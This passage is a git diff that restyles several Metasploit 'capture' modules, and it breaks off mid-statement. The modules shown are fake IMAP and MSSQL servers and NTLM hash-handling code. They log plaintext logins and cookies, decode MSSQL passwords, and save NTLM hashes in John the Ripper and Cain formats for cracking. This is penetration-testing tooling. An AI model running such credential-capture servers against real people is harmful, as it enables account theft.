parse_type1_domain(message) domain = nil workstation = nil - reqflags = message[12,4] - reqflags = reqflags.unpack("V").first + reqflags = message[12, 4] + reqflags = reqflags.unpack('V').first - if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN) - dom_len = message[16,2].unpack('v')[0].to_i - dom_off = message[20,2].unpack('v')[0].to_i - domain = message[dom_off,dom_len].to_s + if ((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN) + dom_len = message[16, 2].unpack('v')[0].to_i + dom_off = message[20, 2].unpack('v')[0].to_i + domain = message[dom_off, dom_len].to_s end - if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION) - wor_len = message[24,2].unpack('v')[0].to_i - wor_off = message[28,2].unpack('v')[0].to_i - workstation = message[wor_off,wor_len].to_s + if ((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION) + wor_len = message[24, 2].unpack('v')[0].to_i + wor_off = message[28, 2].unpack('v')[0].to_i + workstation = message[wor_off, wor_len].to_s end - return domain,workstation - + return domain, workstation end def html_get_hash(arg = {}) ntlm_ver = arg[:ntlm_ver] - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - else - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + unless (ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE) || (ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE) lm_cli_challenge = arg[:lm_cli_challenge] nt_cli_challenge = arg[:nt_cli_challenge] end @@ -223,7 +221,7 @@ def html_get_hash(arg = {}) host = arg[:host] ip = arg[:ip] - unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then + unless (@previous_lm_hash == lm_hash) && (@previous_ntlm_hash == nt_hash) @previous_lm_hash = lm_hash @previous_ntlm_hash = nt_hash @@ -231,38 +229,46 @@ def html_get_hash(arg = {}) # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) - print_status("NLMv1 Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, type: 'ntlm' + }) + print_status('NLMv1 Hash correspond to an empty password, ignoring ... ') return end - if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then - lm_hash_message = "Disabled" - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" + if (lm_hash == nt_hash) || (lm_hash == '') || lm_hash =~ /^0*$/ + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end when NTLM_CONST::NTLM_V2_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [nt_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(user), - :domain => Rex::Text::to_ascii(domain), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) - print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [nt_cli_challenge].pack('H*'), + user: Rex::Text.to_ascii(user), + domain: Rex::Text.to_ascii(domain), + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, type: 'ntlm' + }) + print_status('NTLMv2 Hash correspond to an empty password, ignoring ... ') return end - if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 - lm_hash_message = "Disabled" + if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) + lm_hash_message = 'Disabled' lm_chall_message = 'Disabled' - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(user), - :domain => Rex::Text::to_ascii(domain), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [lm_cli_challenge].pack('H*'), + user: Rex::Text.to_ascii(user), + domain: Rex::Text.to_ascii(domain), + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' lm_chall_message = 'Disabled' else lm_hash_message = lm_hash @@ -270,10 +276,12 @@ def html_get_hash(arg = {}) end when NTLM_CONST::NTLM_2_SESSION_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_hash].pack("H*")[0,8], - :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) - print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [lm_hash].pack('H*')[0, 8], + ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, type: 'ntlm' + }) + print_status('NTLM2_session Hash correspond to an empty password, ignoring ... ') return end lm_hash_message = lm_hash @@ -281,32 +289,32 @@ def html_get_hash(arg = {}) end # Display messages - domain = Rex::Text::to_ascii(domain) - user = Rex::Text::to_ascii(user) + domain = Rex::Text.to_ascii(domain) + user = Rex::Text.to_ascii(user) capturedtime = Time.now.to_s case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE capturelogmessage = - "#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} \nNTHASH:#{nt_hash ? nt_hash : ""}\n" + "#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "LMHASH:#{lm_hash_message || ''} \nNTHASH:#{nt_hash || ''}\n" when NTLM_CONST::NTLM_V2_RESPONSE capturelogmessage = - "#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} " + - "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : ""}\n" + - "NTHASH:#{nt_hash ? nt_hash : ""} " + - "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}\n" + "#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "LMHASH:#{lm_hash_message || ''} " \ + "LM_CLIENT_CHALLENGE:#{lm_chall_message || ''}\n" \ + "NTHASH:#{nt_hash || ''} " \ + "NT_CLIENT_CHALLENGE:#{nt_cli_challenge || ''}\n" when NTLM_CONST::NTLM_2_SESSION_RESPONSE # we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr # also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture capturelogmessage = - "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "NTHASH:#{nt_hash ? nt_hash : ""}\n" + - "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : ""} \n" + "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "NTHASH:#{nt_hash || ''}\n" \ + "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0, 16] : ''} \n" else # should not happen return @@ -330,64 +338,62 @@ def html_get_hash(arg = {}) report_creds(opts_report) - #if(datastore['LOGFILE']) + # if(datastore['LOGFILE']) # File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")} - #end - - if(datastore['CAINPWFILE'] and user) - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['CAINPWFILE'], "ab") - fd.puts( - [ - user, - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - lm_hash ? lm_hash : "0" * 48, - nt_hash ? nt_hash : "0" * 48 - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - end + # end + + if datastore['CAINPWFILE'] && user && ((ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE) || (ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE)) + fd = File.open(datastore['CAINPWFILE'], 'ab') + fd.puts( + [ + user, + domain || 'NULL', + @challenge.unpack('H*')[0], + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + ) + fd.close end - if(datastore['JOHNPWFILE'] and user) + if datastore['JOHNPWFILE'] && user case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab") + fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', 'ab') fd.puts( [ - user,"", - domain ? domain : "NULL", - lm_hash ? lm_hash : "0" * 48, - nt_hash ? nt_hash : "0" * 48, - @challenge.unpack("H*")[0] - ].join(":").gsub(/\n/, "\\n") + user, '', + domain || 'NULL', + lm_hash || '0' * 48, + nt_hash || '0' * 48, + @challenge.unpack('H*')[0] + ].join(':').gsub(/\n/, '\\n') ) fd.close when NTLM_CONST::NTLM_V2_RESPONSE - #lmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab") + # lmv2 + fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', 'ab') fd.puts( [ - user,"", - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - lm_hash ? lm_hash : "0" * 32, - lm_cli_challenge ? lm_cli_challenge : "0" * 16 - ].join(":").gsub(/\n/, "\\n") + user, '', + domain || 'NULL', + @challenge.unpack('H*')[0], + lm_hash || '0' * 32, + lm_cli_challenge || '0' * 16 + ].join(':').gsub(/\n/, '\\n') ) fd.close - #ntlmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab") + # ntlmv2 + fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2', 'ab') fd.puts( [ - user,"", - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - nt_hash ? nt_hash : "0" * 32, - nt_cli_challenge ? nt_cli_challenge : "0" * 160 - ].join(":").gsub(/\n/, "\\n") + user, '', + domain || 'NULL', + @challenge.unpack('H*')[0], + nt_hash || '0' * 32, + nt_cli_challenge || '0' * 160 + ].join(':').gsub(/\n/, '\\n') ) fd.close end @@ -410,35 +416,35 @@ def report_creds(opts) when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE hash = [ user, '', - domain ? domain : 'NULL', - lm_hash ? lm_hash : '0' * 48, - nt_hash ? nt_hash : '0' * 48, + domain || 'NULL', + lm_hash || '0' * 48, + nt_hash || '0' * 48, @challenge.unpack('H*')[0] ].join(':').gsub(/\n/, '\\n') report_hash(ip, user, 'netntlm', hash) when NTLM_CONST::NTLM_V2_RESPONSE hash = [ user, '', - domain ? domain : 'NULL', + domain || 'NULL', @challenge.unpack('H*')[0], - lm_hash ? lm_hash : '0' * 32, - lm_cli_challenge ? lm_cli_challenge : '0' * 16 + lm_hash || '0' * 32, + lm_cli_challenge || '0' * 16 ].join(':').gsub(/\n/, '\\n') report_hash(ip, user, 'netlmv2', hash) hash = [ user, '', - domain ? domain : 'NULL', + domain || 'NULL', @challenge.unpack('H*')[0], - nt_hash ? nt_hash : '0' * 32, - nt_cli_challenge ? nt_cli_challenge : '0' * 160 + nt_hash || '0' * 32, + nt_cli_challenge || '0' * 160 ].join(':').gsub(/\n/, '\\n') report_hash(ip, user, 'netntlmv2', hash) else hash = domain + ':' + - ( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : '00' * 24 ) + ':' + - ( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s : '00' * 24 ) + ':' + - datastore['CHALLENGE'].to_s + (lm_hash + lm_cli_challenge.to_s || '00' * 24) + ':' + + (nt_hash + nt_cli_challenge.to_s || '00' * 24) + ':' + + datastore['CHALLENGE'].to_s report_hash(ip, user, nil, hash) end end @@ -453,7 +459,7 @@ def report_hash(ip, user, type_hash, hash) } credential_data = { - module_fullname: self.fullname, + module_fullname: fullname, origin_type: :service, private_data: hash, private_type: :nonreplayable_hash, @@ -472,5 +478,4 @@ def report_hash(ip, user, type_hash, hash) create_credential_login(login_data) end - end diff --git a/modules/auxiliary/server/capture/imap.rb b/modules/auxiliary/server/capture/imap.rb index 144cad1f8ee38..d22ebe3c26b3b 100644 --- a/modules/auxiliary/server/capture/imap.rb +++ b/modules/auxiliary/server/capture/imap.rb @@ -9,29 +9,33 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: IMAP', - 'Description' => %q{ + 'Name' => 'Authentication Capture: IMAP', + 'Description' => %q{ This module provides a fake IMAP service that is designed to capture authentication credentials. }, - 'Author' => ['ddz', 'hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Capture', 'Description' => 'Run IMAP capture server' ] - ], - 'PassiveActions' => - [ - 'Capture' - ], - 'DefaultAction' => 'Capture' + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run IMAP capture server' } ] + ], + 'PassiveActions' => [ + 'Capture' + ], + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ]), - OptString.new('BANNER', [ true, "The server banner", 'IMAP4']) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 143 ]), + OptString.new('BANNER', [ true, 'The server banner', 'IMAP4']) + ] + ) end def setup @@ -40,17 +44,18 @@ def setup end def run - exploit() + exploit end - def on_client_connect(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil} - c.put "* OK #{datastore['BANNER']}\r\n" + def on_client_connect(client) + @state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport, user: nil, pass: nil } + client.put "* OK #{datastore['BANNER']}\r\n" end - def on_client_data(c) - data = c.get_once + def on_client_data(client) + data = client.get_once return unless data + num, cmd, arg = data.strip.split(/\s+/, 3) cmd ||= '' arg ||= '' @@ -61,14 +66,14 @@ def on_client_data(c) if arg.chomp =~ /\{[0-9]+\}$/ loop do # Ask for more data - c.put "+ \r\n" + client.put "+ \r\n" # Get the next line - arg = (c.get_once || '').chomp + arg = (client.get_once || '').chomp # Remove the length field, if there is one if arg =~ /(.*) \{[0-9]+\}$/ - args << $1 + args << ::Regexp.last_match(1) else # If there's no length field, we're at the end args << arg @@ -81,52 +86,52 @@ def on_client_data(c) end if cmd.upcase == 'CAPABILITY' - c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " + - "MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT " + - "QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 " + - "AUTH=XYMPKI AUTH=XYMECOOKIE ID\r\n" - c.put "#{num} OK CAPABILITY completed.\r\n" + client.put '* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS ' \ + 'MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT ' \ + 'QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 ' \ + "AUTH=XYMPKI AUTH=XYMECOOKIE ID\r\n" + client.put "#{num} OK CAPABILITY completed.\r\n" end # Handle attempt to authenticate using Yahoo's magic cookie # Used by iPhones and Zimbra if cmd.upcase == 'AUTHENTICATE' && arg.upcase == 'XYMPKI' - c.put "+ \r\n" - cookie1 = c.get_once - c.put "+ \r\n" - cookie2 = c.get_once - register_creds(@state[c][:ip], cookie1, cookie2, 'imap-yahoo') + client.put "+ \r\n" + cookie1 = client.get_once + client.put "+ \r\n" + cookie2 = client.get_once + register_creds(@state[client][:ip], cookie1, cookie2, 'imap-yahoo') return end if cmd.upcase == 'LOGIN' - @state[c][:user], @state[c][:pass] = args - register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap') - print_good("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") + @state[client][:user], @state[client][:pass] = args + register_creds(@state[client][:ip], @state[client][:user], @state[client][:pass], 'imap') + print_good("IMAP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}") return end if cmd.upcase == 'LOGOUT' - c.put("* BYE IMAP4rev1 Server logging out\r\n") - c.put("#{num} OK LOGOUT completed\r\n") + client.put("* BYE IMAP4rev1 Server logging out\r\n") + client.put("#{num} OK LOGOUT completed\r\n") return end if cmd.upcase == 'ID' # RFC2971 specifies the ID command, and `NIL` is a valid response - c.put("* ID NIL\r\n") - c.put("#{num} OK ID completed\r\n") + client.put("* ID NIL\r\n") + client.put("#{num} OK ID completed\r\n") return end - @state[c][:pass] = data.strip - c.put "#{num} NO LOGIN FAILURE\r\n" + @state[client][:pass] = data.strip + client.put "#{num} NO LOGIN FAILURE\r\n" return end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end def register_creds(client_ip, user, pass, service_name) @@ -142,7 +147,7 @@ def register_creds(client_ip, user, pass, service_name) # Build credential information credential_data = { origin_type: :service, - module_fullname: self.fullname, + module_fullname: fullname, private_data: pass, private_type: :password, username: user, diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb index 882b9d7967df2..5e90130e6bff0 100644 --- a/modules/auxiliary/server/capture/mssql.rb +++ b/modules/auxiliary/server/capture/mssql.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - NTLM_CONST = Rex::Proto::NTLM::Constants NTLM_CRYPT = Rex::Proto::NTLM::Crypt NTLM_UTILS = Rex::Proto::NTLM::Utils @@ -14,45 +13,51 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report class Constants - TDS_MSG_RESPONSE = 0x04 - TDS_MSG_LOGIN = 0x10 - TDS_MSG_SSPI = 0x11 - TDS_MSG_PRELOGIN = 0x12 + TDS_MSG_RESPONSE = 0x04 + TDS_MSG_LOGIN = 0x10 + TDS_MSG_SSPI = 0x11 + TDS_MSG_PRELOGIN = 0x12 - TDS_TOKEN_ERROR = 0xAA - TDS_TOKEN_AUTH = 0xED + TDS_TOKEN_ERROR = 0xAA + TDS_TOKEN_AUTH = 0xED end def initialize super( - 'Name' => 'Authentication Capture: MSSQL', - 'Description' => %q{ + 'Name' => 'Authentication Capture: MSSQL', + 'Description' => %q{ This module provides a fake MSSQL service that is designed to capture authentication credentials. The modules supports both the weak encoded database logins as well as Windows logins (NTLM). }, - 'Author' => 'Patrik Karlsson ', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run MSSQL capture server' ]], + 'Author' => 'Patrik Karlsson ', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run MSSQL capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 1433 ]), - OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 1433 ]), + OptString.new('CAINPWFILE', [ false, 'The local filename to store the hashes in Cain&Abel format', nil ]), + OptString.new('JOHNPWFILE', [ false, 'The prefix to the local filename to store the hashes in JOHN format', nil ]), + OptString.new('CHALLENGE', [ true, 'The 8 byte challenge ', '1122334455667788' ]) + ] + ) register_advanced_options( [ - OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentication", false ]), - OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ]) - ]) - + OptBool.new('SMB_EXTENDED_SECURITY', [ true, 'Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentication', false ]), + OptString.new('DOMAIN_NAME', [ true, 'The domain name used during smb exchange with smb extended security set ', 'anonymous' ]) + ] + ) end def setup @@ -64,38 +69,38 @@ def run @s_smb_esn = datastore['SMB_EXTENDED_SECURITY'] @domain_name = datastore['DOMAIN_NAME'] if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/ - @challenge = [ datastore['CHALLENGE'] ].pack("H*") + @challenge = [ datastore['CHALLENGE'] ].pack('H*') else - print_error("CHALLENGE syntax must match 1122334455667788") + print_error('CHALLENGE syntax must match 1122334455667788') return end # those variables will prevent to spam the screen with identical hashes (works only with ntlmv1) - @previous_lm_hash="none" - @previous_ntlm_hash="none" + @previous_lm_hash = 'none' + @previous_ntlm_hash = 'none' - exploit() + exploit end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :user => nil, - :pass => nil + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, + user: nil, + pass: nil } end # decodes a mssql password def mssql_tds_decrypt(pass) - Rex::Text.to_ascii(pass.unpack("C*").map {|c| ((( c ^ 0xa5 ) & 0x0F) << 4) | ((( c ^ 0xa5 ) & 0xF0 ) >> 4) }.pack("C*")) + Rex::Text.to_ascii(pass.unpack('C*').map { |c| (((c ^ 0xa5) & 0x0F) << 4) | (((c ^ 0xa5) & 0xF0) >> 4) }.pack('C*')) end # doesn't do any real parsing, slices of the data - def mssql_parse_prelogin(data, info) - status = data.slice!(0,1).unpack('C')[0] - len = data.slice!(0,2).unpack('n')[0] + def mssql_parse_prelogin(data, _info) + data.slice!(0, 1).unpack('C')[0] + len = data.slice!(0, 2).unpack('n')[0] # just slice away the rest of the packet data.slice!(0, len - 4) @@ -104,11 +109,11 @@ def mssql_parse_prelogin(data, info) # parses a login packet sent to the server def mssql_parse_login(data, info) - status = data.slice!(0,1).unpack('C')[0] - len = data.slice!(0,2).unpack('n')[0] + data.slice!(0, 1).unpack('C')[0] + len = data.slice!(0, 2).unpack('n')[0] if len > data.length + 4 - info[:errors] << "Login packet to short" + info[:errors] << 'Login packet to short' return end @@ -116,35 +121,35 @@ def mssql_parse_login(data, info) # * channel, packetno, window # * login header # * client name length & offset - login_hdr = data.slice!(0,4 + 36 + 4) + data.slice!(0, 4 + 36 + 4) - username_offset = data.slice!(0,2).unpack('v')[0] - username_length = data.slice!(0,2).unpack('v')[0] + username_offset = data.slice!(0, 2).unpack('v')[0] + username_length = data.slice!(0, 2).unpack('v')[0] - pw_offset = data.slice!(0,2).unpack('v')[0] - pw_length = data.slice!(0,2).unpack('v')[0] + pw_offset = data.slice!(0, 2).unpack('v')[0] + pw_length = data.slice!(0, 2).unpack('v')[0] - appname_offset = data.slice!(0,2).unpack('v')[0] - appname_length = data.slice!(0,2).unpack('v')[0] + data.slice!(0, 2).unpack('v')[0] + data.slice!(0, 2).unpack('v')[0] - srvname_offset = data.slice!(0,2).unpack('v')[0] - srvname_length = data.slice!(0,2).unpack('v')[0] + srvname_offset = data.slice!(0, 2).unpack('v')[0] + srvname_length = data.slice!(0, 2).unpack('v')[0] - if username_offset > 0 and pw_offset > 0 + if (username_offset > 0) && (pw_offset > 0) offset = username_offset - 56 - info[:user] = Rex::Text::to_ascii(data[offset..(offset + username_length * 2)]) + info[:user] = Rex::Text.to_ascii(data[offset..(offset + username_length * 2)]) offset = pw_offset - 56 if pw_length == 0 - info[:pass] = "" + info[:pass] = '' else - info[:pass] = mssql_tds_decrypt(data[offset..(offset + pw_length * 2)].unpack("A*")[0]) + info[:pass] = mssql_tds_decrypt(data[offset..(offset + pw_length * 2)].unpack('A*')[0]) end offset = srvname_offset - 56 - info[:srvname] = Rex::Text::to_ascii(data[offset..(offset + srvname_length * 2)]) + info[:srvname] = Rex::Text.to_ascii(data[offset..(offset + srvname_length * 2)]) else - info[:isntlm?]= true + info[:isntlm?] = true end # slice of remaining packet @@ -156,12 +161,9 @@ def mssql_parse_login(data, info) # copied and slightly modified from http_ntlm html_get_hash def mssql_get_hash(arg = {}) ntlm_ver = arg[:ntlm_ver] - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - else - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + unless (ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE) || (ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE) lm_cli_challenge = arg[:lm_cli_challenge] nt_cli_challenge = arg[:nt_cli_challenge] end @@ -170,54 +172,64 @@ def mssql_get_hash(arg = {}) host = arg[:host] ip = arg[:ip] - unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then + unless (@previous_lm_hash == lm_hash) && (@previous_ntlm_hash == nt_hash) @previous_lm_hash = lm_hash @previous_ntlm_hash = nt_hash # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) - print_status("NLMv1 Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, type: 'ntlm' + }) + print_status('NLMv1 Hash correspond to an empty password, ignoring ... ') return end - if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then - lm_hash_message = "Disabled" - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" + if (lm_hash == nt_hash) || (lm_hash == '') || lm_hash =~ /^0*$/ + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end when NTLM_CONST::NTLM_V2_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [nt_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(user), - :domain => Rex::Text::to_ascii(domain), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) - print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [nt_cli_challenge].pack('H*'), + user: Rex::Text.to_ascii(user), + domain: Rex::Text.to_ascii(domain), + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, type: 'ntlm' + }) + print_status('NTLMv2 Hash correspond to an empty password, ignoring ... ') return end - if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 - lm_hash_message = "Disabled" + if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) + lm_hash_message = 'Disabled' lm_chall_message = 'Disabled' - elsif 